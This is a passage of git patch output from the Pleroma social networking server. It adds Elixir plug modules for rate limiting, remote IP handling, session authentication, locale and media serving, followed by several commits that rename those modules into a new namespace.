plug(Pleroma.Plugs.RateLimiter, name: :limiter_name) + plug(Pleroma.Plugs.RateLimiter, options) # :name is a required option + + Allowed options: + + * `name` required, always used to fetch the limit values from the config + * `bucket_name` overrides name for counting purposes (e.g. to have a separate limit for a set of actions) + * `params` appends values of specified request params (e.g. ["id"]) to bucket name + + Inside a controller: + + plug(Pleroma.Plugs.RateLimiter, [name: :one] when action == :one) + plug(Pleroma.Plugs.RateLimiter, [name: :two] when action in [:two, :three]) + + plug( + Pleroma.Plugs.RateLimiter, + [name: :status_id_action, bucket_name: "status_id_action:fav_unfav", params: ["id"]] + when action in ~w(fav_status unfav_status)a + ) + + or inside a router pipeline: + + pipeline :api do + ... + plug(Pleroma.Plugs.RateLimiter, name: :one) + ... + end + """ + import Pleroma.Web.TranslationHelpers + import Plug.Conn + + alias Pleroma.Config + alias Pleroma.Plugs.RateLimiter.LimiterSupervisor + alias Pleroma.User + + require Logger + + @doc false + def init(plug_opts) do + plug_opts + end + + def call(conn, plug_opts) do + if disabled?(conn) do + handle_disabled(conn) + else + action_settings = action_settings(plug_opts) + handle(conn, action_settings) + end + end + + defp handle_disabled(conn) do + Logger.warn( + "Rate limiter disabled due to forwarded IP not being found. Please ensure your reverse proxy is providing the X-Forwarded-For header or disable the RemoteIP plug/rate limiter." + ) + + conn + end + + defp handle(conn, nil), do: conn + + defp handle(conn, action_settings) do + action_settings + |> incorporate_conn_info(conn) + |> check_rate() + |> case do + {:ok, _count} -> + conn + + {:error, _count} -> + render_throttled_error(conn) + end + end + + def disabled?(conn) do + if Map.has_key?(conn.assigns, :remote_ip_found), + do: !conn.assigns.remote_ip_found, + else: false + end + + @inspect_bucket_not_found {:error, :not_found} + + def inspect_bucket(conn, bucket_name_root, plug_opts) do + with %{name: _} = action_settings <- action_settings(plug_opts) do + action_settings = incorporate_conn_info(action_settings, conn) + bucket_name = make_bucket_name(%{action_settings | name: bucket_name_root}) + key_name = make_key_name(action_settings) + limit = get_limits(action_settings) + + case Cachex.get(bucket_name, key_name) do + {:error, :no_cache} -> + @inspect_bucket_not_found + + {:ok, nil} -> + {0, limit} + + {:ok, value} -> + {value, limit - value} + end + else + _ -> @inspect_bucket_not_found + end + end + + def action_settings(plug_opts) do + with limiter_name when is_atom(limiter_name) <- plug_opts[:name], + limits when not is_nil(limits) <- Config.get([:rate_limit, limiter_name]) do + bucket_name_root = Keyword.get(plug_opts, :bucket_name, limiter_name) + + %{ + name: bucket_name_root, + limits: limits, + opts: plug_opts + } + end + end + + defp check_rate(action_settings) do + bucket_name = make_bucket_name(action_settings) + key_name = make_key_name(action_settings) + limit = get_limits(action_settings) + + case Cachex.get_and_update(bucket_name, key_name, &increment_value(&1, limit)) do + {:commit, value} -> + {:ok, value} + + {:ignore, value} -> + {:error, value} + + {:error, :no_cache} -> + initialize_buckets!(action_settings) + check_rate(action_settings) + end + end + + defp increment_value(nil, _limit), do: {:commit, 1} + + defp increment_value(val, limit) when val >= limit, do: {:ignore, val} + + defp increment_value(val, _limit), do: {:commit, val + 1} + + defp incorporate_conn_info(action_settings, %{ + assigns: %{user: %User{id: user_id}}, + params: params + }) do + Map.merge(action_settings, %{ + mode: :user, + conn_params: params, + conn_info: "#{user_id}" + }) + end + + defp incorporate_conn_info(action_settings, %{params: params} = conn) do + Map.merge(action_settings, %{ + mode: :anon, + conn_params: params, + conn_info: "#{ip(conn)}" + }) + end + + defp ip(%{remote_ip: remote_ip}) do + remote_ip + |> Tuple.to_list() + |> Enum.join(".") + end + + defp render_throttled_error(conn) do + conn + |> render_error(:too_many_requests, "Throttled") + |> halt() + end + + defp make_key_name(action_settings) do + "" + |> attach_selected_params(action_settings) + |> attach_identity(action_settings) + end + + defp get_scale(_, {scale, _}), do: scale + + defp get_scale(:anon, [{scale, _}, {_, _}]), do: scale + + defp get_scale(:user, [{_, _}, {scale, _}]), do: scale + + defp get_limits(%{limits: {_scale, limit}}), do: limit + + defp get_limits(%{mode: :user, limits: [_, {_, limit}]}), do: limit + + defp get_limits(%{limits: [{_, limit}, _]}), do: limit + + defp make_bucket_name(%{mode: :user, name: bucket_name_root}), + do: user_bucket_name(bucket_name_root) + + defp make_bucket_name(%{mode: :anon, name: bucket_name_root}), + do: anon_bucket_name(bucket_name_root) + + defp attach_selected_params(input, %{conn_params: conn_params, opts: plug_opts}) do + params_string = + plug_opts + |> Keyword.get(:params, []) + |> Enum.sort() + |> Enum.map(&Map.get(conn_params, &1, "")) + |> Enum.join(":") + + [input, params_string] + |> Enum.join(":") + |> String.replace_leading(":", "") + end + + defp initialize_buckets!(%{name: _name, limits: nil}), do: :ok + + defp initialize_buckets!(%{name: name, limits: limits}) do + {:ok, _pid} = + LimiterSupervisor.add_or_return_limiter(anon_bucket_name(name), get_scale(:anon, limits)) + + {:ok, _pid} = + LimiterSupervisor.add_or_return_limiter(user_bucket_name(name), get_scale(:user, limits)) + + :ok + end + + defp attach_identity(base, %{mode: :user, conn_info: conn_info}), + do: "user:#{base}:#{conn_info}" + + defp attach_identity(base, %{mode: :anon, conn_info: conn_info}), + do: "ip:#{base}:#{conn_info}" + + defp user_bucket_name(bucket_name_root), do: "user:#{bucket_name_root}" |> String.to_atom() + defp anon_bucket_name(bucket_name_root), do: "anon:#{bucket_name_root}" |> String.to_atom() +end diff --git a/lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex b/lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex new file mode 100644 index 000000000..0bf5aadfb --- /dev/null +++ b/lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.RateLimiter.LimiterSupervisor do + use DynamicSupervisor + + import Cachex.Spec + + def start_link(init_arg) do + DynamicSupervisor.start_link(__MODULE__, init_arg, name: __MODULE__) + end + + def add_or_return_limiter(limiter_name, expiration) do + result = + DynamicSupervisor.start_child( + __MODULE__, + %{ + id: String.to_atom("rl_#{limiter_name}"), + start: + {Cachex, :start_link, + [ + limiter_name, + [ + expiration: + expiration( + default: expiration, + interval: check_interval(expiration), + lazy: true + ) + ] + ]} + } + ) + + case result do + {:ok, _pid} = result -> result + {:error, {:already_started, pid}} -> {:ok, pid} + _ -> result + end + end + + @impl true + def init(_init_arg) do + DynamicSupervisor.init(strategy: :one_for_one) + end + + defp check_interval(exp) do + (exp / 2) + |> Kernel.trunc() + |> Kernel.min(5000) + |> Kernel.max(1) + end +end diff --git a/lib/pleroma/web/plugs/rate_limiter/supervisor.ex b/lib/pleroma/web/plugs/rate_limiter/supervisor.ex new file mode 100644 index 000000000..ce196df52 --- /dev/null +++ b/lib/pleroma/web/plugs/rate_limiter/supervisor.ex @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.RateLimiter.Supervisor do + use Supervisor + + def start_link(opts) do + Supervisor.start_link(__MODULE__, opts, name: __MODULE__) + end + + def init(_args) do + children = [ + Pleroma.Plugs.RateLimiter.LimiterSupervisor + ] + + opts = [strategy: :one_for_one, name: Pleroma.Web.Streamer.Supervisor] + Supervisor.init(children, opts) + end +end diff --git a/lib/pleroma/web/plugs/remote_ip.ex b/lib/pleroma/web/plugs/remote_ip.ex new file mode 100644 index 000000000..987022156 --- /dev/null +++ b/lib/pleroma/web/plugs/remote_ip.ex @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.RemoteIp do + @moduledoc """ + This is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. + """ + + alias Pleroma.Config + import Plug.Conn + + @behaviour Plug + + def init(_), do: nil + + def call(%{remote_ip: original_remote_ip} = conn, _) do + if Config.get([__MODULE__, :enabled]) do + %{remote_ip: new_remote_ip} = conn = RemoteIp.call(conn, remote_ip_opts()) + assign(conn, :remote_ip_found, original_remote_ip != new_remote_ip) + else + conn + end + end + + defp remote_ip_opts do + headers = Config.get([__MODULE__, :headers], []) |> MapSet.new() + reserved = Config.get([__MODULE__, :reserved], []) + + proxies = + Config.get([__MODULE__, :proxies], []) + |> Enum.concat(reserved) + |> Enum.map(&maybe_add_cidr/1) + + {headers, proxies} + end + + defp maybe_add_cidr(proxy) when is_binary(proxy) do + proxy = + cond do + "/" in String.codepoints(proxy) -> proxy + InetCidr.v4?(InetCidr.parse_address!(proxy)) -> proxy <> "/32" + InetCidr.v6?(InetCidr.parse_address!(proxy)) -> proxy <> "/128" + end + + InetCidr.parse(proxy, true) + end +end diff --git a/lib/pleroma/web/plugs/session_authentication_plug.ex b/lib/pleroma/web/plugs/session_authentication_plug.ex new file mode 100644 index 000000000..0f83a5e53 --- /dev/null +++ b/lib/pleroma/web/plugs/session_authentication_plug.ex @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.SessionAuthenticationPlug do + import Plug.Conn + + def init(options) do + options + end + + def call(conn, _) do + with saved_user_id <- get_session(conn, :user_id), + %{auth_user: %{id: ^saved_user_id}} <- conn.assigns do + conn + |> assign(:user, conn.assigns.auth_user) + else + _ -> conn + end + end +end diff --git a/lib/pleroma/web/plugs/set_format_plug.ex b/lib/pleroma/web/plugs/set_format_plug.ex new file mode 100644 index 000000000..c03fcb28d --- /dev/null +++ b/lib/pleroma/web/plugs/set_format_plug.ex @@ -0,0 +1,24 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.SetFormatPlug do + import Plug.Conn, only: [assign: 3, fetch_query_params: 1] + + def init(_), do: nil + + def call(conn, _) do + case get_format(conn) do + nil -> conn + format -> assign(conn, :format, format) + end + end + + defp get_format(conn) do + conn.private[:phoenix_format] || + case fetch_query_params(conn) do + %{query_params: %{"_format" => format}} -> format + _ -> nil + end + end +end diff --git a/lib/pleroma/web/plugs/set_locale_plug.ex b/lib/pleroma/web/plugs/set_locale_plug.ex new file mode 100644 index 000000000..9a21d0a9d --- /dev/null +++ b/lib/pleroma/web/plugs/set_locale_plug.ex @@ -0,0 +1,63 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +# NOTE: this module is based on https://github.com/smeevil/set_locale +defmodule Pleroma.Plugs.SetLocalePlug do + import Plug.Conn, only: [get_req_header: 2, assign: 3] + + def init(_), do: nil + + def call(conn, _) do + locale = get_locale_from_header(conn) || Gettext.get_locale() + Gettext.put_locale(locale) + assign(conn, :locale, locale) + end + + defp get_locale_from_header(conn) do + conn + |> extract_accept_language() + |> Enum.find(&supported_locale?/1) + end + + defp extract_accept_language(conn) do + case get_req_header(conn, "accept-language") do + [value | _] -> + value + |> String.split(",") + |> Enum.map(&parse_language_option/1) + |> Enum.sort(&(&1.quality > &2.quality)) + |> Enum.map(& &1.tag) + |> Enum.reject(&is_nil/1) + |> ensure_language_fallbacks() + + _ -> + [] + end + end + + defp supported_locale?(locale) do + Pleroma.Web.Gettext + |> Gettext.known_locales() + |> Enum.member?(locale) + end + + defp parse_language_option(string) do + captures = Regex.named_captures(~r/^\s?(?<tag>[\w\-]+)(?:;q=(?<quality>[\d\.]+))?$/i, string) + + quality = + case Float.parse(captures["quality"] || "1.0") do + {val, _} -> val + :error -> 1.0 + end + + %{tag: captures["tag"], quality: quality} + end + + defp ensure_language_fallbacks(tags) do + Enum.flat_map(tags, fn tag -> + [language | _] = String.split(tag, "-") + if Enum.member?(tags, language), do: [tag], else: [tag, language] + end) + end +end diff --git a/lib/pleroma/web/plugs/set_user_session_id_plug.ex b/lib/pleroma/web/plugs/set_user_session_id_plug.ex new file mode 100644 index 000000000..730c4ac74 --- /dev/null +++ b/lib/pleroma/web/plugs/set_user_session_id_plug.ex @@ -0,0 +1,19 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.SetUserSessionIdPlug do + import Plug.Conn + alias Pleroma.User + + def init(opts) do + opts + end + + def call(%{assigns: %{user: %User{id: id}}} = conn, _) do + conn + |> put_session(:user_id, id) + end + + def call(conn, _), do: conn +end diff --git a/lib/pleroma/web/plugs/static_fe_plug.ex b/lib/pleroma/web/plugs/static_fe_plug.ex new file mode 100644 index 000000000..143665c71 --- /dev/null +++ b/lib/pleroma/web/plugs/static_fe_plug.ex @@ -0,0 +1,26 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.StaticFEPlug do + import Plug.Conn + alias Pleroma.Web.StaticFE.StaticFEController + + def init(options), do: options + + def call(conn, _) do + if enabled?() and requires_html?(conn) do + conn + |> StaticFEController.call(:show) + |> halt() + else + conn + end + end + + defp enabled?, do: Pleroma.Config.get([:static_fe, :enabled], false) + + defp requires_html?(conn) do + Phoenix.Controller.get_format(conn) == "html" + end +end diff --git a/lib/pleroma/web/plugs/trailing_format_plug.ex b/lib/pleroma/web/plugs/trailing_format_plug.ex new file mode 100644 index 000000000..8b4d5fc9f --- /dev/null +++ b/lib/pleroma/web/plugs/trailing_format_plug.ex @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.TrailingFormatPlug do + @moduledoc "Calls TrailingFormatPlug for specific paths. Ideally we would just do this in the router, but TrailingFormatPlug needs to be called before Plug.Parsers." + + @behaviour Plug + @paths [ + "/api/statusnet", + "/api/statuses", + "/api/qvitter", + "/api/search", + "/api/account", + "/api/friends", + "/api/mutes", + "/api/media", + "/api/favorites", + "/api/blocks", + "/api/friendships", + "/api/users", + "/users", + "/nodeinfo", + "/api/help", + "/api/externalprofile", + "/notice", + "/api/pleroma/emoji", + "/api/oauth_tokens" + ] + + def init(opts) do + TrailingFormatPlug.init(opts) + end + + for path <- @paths do + def call(%{request_path: unquote(path) <> _} = conn, opts) do + TrailingFormatPlug.call(conn, opts) + end + end + + def call(conn, _opts), do: conn +end diff --git a/lib/pleroma/web/plugs/uploaded_media.ex b/lib/pleroma/web/plugs/uploaded_media.ex new file mode 100644 index 000000000..40984cfc0 --- /dev/null +++ b/lib/pleroma/web/plugs/uploaded_media.ex @@ -0,0 +1,107 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.UploadedMedia do + @moduledoc """ + """ + + import Plug.Conn + import Pleroma.Web.Gettext + require Logger + + alias Pleroma.Web.MediaProxy + + @behaviour Plug + # no slashes + @path "media" + + @default_cache_control_header "public, max-age=1209600" + + def init(_opts) do + static_plug_opts = + [ + headers: %{"cache-control" => @default_cache_control_header}, + cache_control_for_etags: @default_cache_control_header + ] + |> Keyword.put(:from, "__unconfigured_media_plug") + |> Keyword.put(:at, "/__unconfigured_media_plug") + |> Plug.Static.init() + + %{static_plug_opts: static_plug_opts} + end + + def call(%{request_path: <<"/", @path, "/", file::binary>>} = conn, opts) do + conn = + case fetch_query_params(conn) do + %{query_params: %{"name" => name}} = conn -> + name = String.replace(name, "\"", "\\\"") + + put_resp_header(conn, "content-disposition", "filename=\"#{name}\"") + + conn -> + conn + end + |> merge_resp_headers([{"content-security-policy", "sandbox"}]) + + config = Pleroma.Config.get(Pleroma.Upload) + + with uploader <- Keyword.fetch!(config, :uploader), + proxy_remote = Keyword.get(config, :proxy_remote, false), + {:ok, get_method} <- uploader.get_file(file), + false <- media_is_banned(conn, get_method) do + get_media(conn, get_method, proxy_remote, opts) + else + _ -> + conn + |> send_resp(:internal_server_error, dgettext("errors", "Failed")) + |> halt() + end + end + + def call(conn, _opts), do: conn + + defp media_is_banned(%{request_path: path} = _conn, {:static_dir, _}) do + MediaProxy.in_banned_urls(Pleroma.Web.base_url() <> path) + end + + defp media_is_banned(_, {:url, url}), do: MediaProxy.in_banned_urls(url) + + defp media_is_banned(_, _), do: false + + defp get_media(conn, {:static_dir, directory}, _, opts) do + static_opts = + Map.get(opts, :static_plug_opts) + |> Map.put(:at, [@path]) + |> Map.put(:from, directory) + + conn = Plug.Static.call(conn, static_opts) + + if conn.halted do + conn + else + conn + |> send_resp(:not_found, dgettext("errors", "Not found")) + |> halt() + end + end + + defp get_media(conn, {:url, url}, true, _) do + conn + |> Pleroma.ReverseProxy.call(url, Pleroma.Config.get([Pleroma.Upload, :proxy_opts], [])) + end + + defp get_media(conn, {:url, url}, _, _) do + conn + |> Phoenix.Controller.redirect(external: url) + |> halt() + end + + defp get_media(conn, unknown, _, _) do + Logger.error("#{__MODULE__}: Unknown get startegy: #{inspect(unknown)}") + + conn + |> send_resp(:internal_server_error, dgettext("errors", "Internal Error")) + |> halt() + end +end diff --git a/lib/pleroma/web/plugs/user_enabled_plug.ex b/lib/pleroma/web/plugs/user_enabled_plug.ex new file mode 100644 index 000000000..23e800a74 --- /dev/null +++ b/lib/pleroma/web/plugs/user_enabled_plug.ex @@ -0,0 +1,23 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.UserEnabledPlug do + import Plug.Conn + alias Pleroma.User + + def init(options) do + options + end + + def call(%{assigns: %{user: %User{} = user}} = conn, _) do + case User.account_status(user) do + :active -> conn + _ -> assign(conn, :user, nil) + end + end + + def call(conn, _) do + conn + end +end diff --git a/lib/pleroma/web/plugs/user_fetcher_plug.ex b/lib/pleroma/web/plugs/user_fetcher_plug.ex new file mode 100644 index 000000000..235c77d85 --- /dev/null +++ b/lib/pleroma/web/plugs/user_fetcher_plug.ex @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.UserFetcherPlug do + alias Pleroma.User + import Plug.Conn + + def init(options) do + options + end + + def call(conn, _options) do + with %{auth_credentials: %{username: username}} <- conn.assigns, + %User{} = user <- User.get_by_nickname_or_email(username) do + assign(conn, :auth_user, user) + else + _ -> conn + end + end +end diff --git a/lib/pleroma/web/plugs/user_is_admin_plug.ex b/lib/pleroma/web/plugs/user_is_admin_plug.ex new file mode 100644 index 000000000..488a61d1d --- /dev/null +++ b/lib/pleroma/web/plugs/user_is_admin_plug.ex @@ -0,0 +1,24 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.UserIsAdminPlug do + import Pleroma.Web.TranslationHelpers + import Plug.Conn + + alias Pleroma.User + + def init(options) do + options + end + + def call(%{assigns: %{user: %User{is_admin: true}}} = conn, _) do + conn + end + + def call(conn, _) do + conn + |> render_error(:forbidden, "User is not an admin.") + |> halt() + end +end -- cgit v1.2.3 From 6a87f94ee275c00c625e5778aca11c8e7324d07a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 08:38:42 +0300 Subject: renaming ratelimiter supervisor --- lib/pleroma/application.ex | 2 +- lib/pleroma/web/plugs/rate_limiter/supervisor.ex | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index e73d89350..0f39c7d92 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -88,7 +88,7 @@ def start(_type, _args) do Pleroma.Repo, Config.TransferTask, Pleroma.Emoji, - Pleroma.Plugs.RateLimiter.Supervisor + Pleroma.Web.Plugs.RateLimiter.Supervisor ] ++ cachex_children() ++ http_children(adapter, @env) ++ diff --git a/lib/pleroma/web/plugs/rate_limiter/supervisor.ex b/lib/pleroma/web/plugs/rate_limiter/supervisor.ex index ce196df52..1c4d0606f 100644 --- a/lib/pleroma/web/plugs/rate_limiter/supervisor.ex +++ b/lib/pleroma/web/plugs/rate_limiter/supervisor.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.RateLimiter.Supervisor do +defmodule Pleroma.Web.Plugs.RateLimiter.Supervisor do use Supervisor def start_link(opts) do -- cgit v1.2.3 From e267991a44e5f7670e34297d870a889bbacdb97a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 08:39:56 +0300 Subject: renaming LimiterSupervisor --- lib/pleroma/web/plugs/rate_limiter.ex | 2 +- lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex | 2 +- lib/pleroma/web/plugs/rate_limiter/supervisor.ex | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/plugs/rate_limiter.ex b/lib/pleroma/web/plugs/rate_limiter.ex index c51e2c634..d4a707675 100644 --- a/lib/pleroma/web/plugs/rate_limiter.ex +++ b/lib/pleroma/web/plugs/rate_limiter.ex @@ -67,7 +67,7 @@ defmodule Pleroma.Plugs.RateLimiter do import Plug.Conn alias Pleroma.Config - alias Pleroma.Plugs.RateLimiter.LimiterSupervisor + alias Pleroma.Web.Plugs.RateLimiter.LimiterSupervisor alias Pleroma.User require Logger diff --git a/lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex b/lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex index 0bf5aadfb..5642bb205 100644 --- a/lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex +++ b/lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.RateLimiter.LimiterSupervisor do +defmodule Pleroma.Web.Plugs.RateLimiter.LimiterSupervisor do use DynamicSupervisor import Cachex.Spec diff --git a/lib/pleroma/web/plugs/rate_limiter/supervisor.ex b/lib/pleroma/web/plugs/rate_limiter/supervisor.ex index 1c4d0606f..a1c84063d 100644 --- a/lib/pleroma/web/plugs/rate_limiter/supervisor.ex +++ b/lib/pleroma/web/plugs/rate_limiter/supervisor.ex @@ -11,7 +11,7 @@ def start_link(opts) do def init(_args) do children = [ - Pleroma.Plugs.RateLimiter.LimiterSupervisor + Pleroma.Web.Plugs.RateLimiter.LimiterSupervisor ] opts = [strategy: :one_for_one, name: Pleroma.Web.Streamer.Supervisor] -- cgit v1.2.3 From 2125286e90d75ad3bbe62bd897412e6a5599ff46 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 08:43:20 +0300 Subject: fix for fallback controller --- lib/pleroma/web/o_status/o_status_controller.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index 9a4a350ae..329ab64e0 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Web.OStatus.OStatusController do alias Pleroma.Web.ActivityPub.ActivityPubController alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.Endpoint - alias Pleroma.Web.Fallback.Fallback.RedirectController + alias Pleroma.Web.Fallback.RedirectController alias Pleroma.Web.Metadata.PlayerView alias Pleroma.Web.Router -- cgit v1.2.3 From 1d16cd0c3dcebe3d0b1f372f81181de7d0ee9b63 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 08:59:35 +0300 Subject: UserIsAdminPlug module name --- lib/pleroma/web/plugs/user_is_admin_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/user_is_admin_plug_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/plugs/user_is_admin_plug.ex b/lib/pleroma/web/plugs/user_is_admin_plug.ex index 488a61d1d..531c965f0 100644 --- a/lib/pleroma/web/plugs/user_is_admin_plug.ex +++ b/lib/pleroma/web/plugs/user_is_admin_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.UserIsAdminPlug do +defmodule Pleroma.Web.Plugs.UserIsAdminPlug do import Pleroma.Web.TranslationHelpers import Plug.Conn diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 48bb834b9..a8a40b56a 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -67,7 +67,7 @@ defmodule Pleroma.Web.Router do plug(Pleroma.Plugs.AdminSecretAuthenticationPlug) plug(:after_auth) plug(Pleroma.Plugs.EnsureAuthenticatedPlug) - plug(Pleroma.Plugs.UserIsAdminPlug) + plug(Pleroma.Web.Plugs.UserIsAdminPlug) plug(Pleroma.Plugs.IdempotencyPlug) end diff --git a/test/pleroma/web/plugs/user_is_admin_plug_test.exs b/test/pleroma/web/plugs/user_is_admin_plug_test.exs index 4a05675bd..b550568c1 100644 --- a/test/pleroma/web/plugs/user_is_admin_plug_test.exs +++ b/test/pleroma/web/plugs/user_is_admin_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.UserIsAdminPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.UserIsAdminPlug + alias Pleroma.Web.Plugs.UserIsAdminPlug import Pleroma.Factory test "accepts a user that is an admin" do -- cgit v1.2.3 From 61c609884cc9fb24049da24159d2e3d2025026a3 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:00:44 +0300 Subject: UserFetcherPlug module name --- lib/pleroma/web/plugs/user_fetcher_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/user_fetcher_plug_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/plugs/user_fetcher_plug.ex b/lib/pleroma/web/plugs/user_fetcher_plug.ex index 235c77d85..4039600da 100644 --- a/lib/pleroma/web/plugs/user_fetcher_plug.ex +++ b/lib/pleroma/web/plugs/user_fetcher_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.UserFetcherPlug do +defmodule Pleroma.Web.Plugs.UserFetcherPlug do alias Pleroma.User import Plug.Conn diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index a8a40b56a..bdf80216c 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -27,7 +27,7 @@ defmodule Pleroma.Web.Router do pipeline :authenticate do plug(Pleroma.Plugs.OAuthPlug) plug(Pleroma.Plugs.BasicAuthDecoderPlug) - plug(Pleroma.Plugs.UserFetcherPlug) + plug(Pleroma.Web.Plugs.UserFetcherPlug) plug(Pleroma.Plugs.SessionAuthenticationPlug) plug(Pleroma.Plugs.LegacyAuthenticationPlug) plug(Pleroma.Plugs.AuthenticationPlug) diff --git a/test/pleroma/web/plugs/user_fetcher_plug_test.exs b/test/pleroma/web/plugs/user_fetcher_plug_test.exs index f873d7dc8..b4f875d2d 100644 --- a/test/pleroma/web/plugs/user_fetcher_plug_test.exs +++ b/test/pleroma/web/plugs/user_fetcher_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.UserFetcherPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.UserFetcherPlug + alias Pleroma.Web.Plugs.UserFetcherPlug import Pleroma.Factory setup do -- cgit v1.2.3 From ebd6dd7c53db0799c2a6fc0d5602eced9541033e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:02:27 +0300 Subject: UserEnabledPlug module name --- lib/pleroma/web/plugs/user_enabled_plug.ex | 2 +- lib/pleroma/web/router.ex | 4 ++-- test/pleroma/web/plugs/user_enabled_plug_test.exs | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web/plugs/user_enabled_plug.ex b/lib/pleroma/web/plugs/user_enabled_plug.ex index 23e800a74..fa28ee48b 100644 --- a/lib/pleroma/web/plugs/user_enabled_plug.ex +++ b/lib/pleroma/web/plugs/user_enabled_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.UserEnabledPlug do +defmodule Pleroma.Web.Plugs.UserEnabledPlug do import Plug.Conn alias Pleroma.User diff --git a/lib/pleroma/web/router.ex 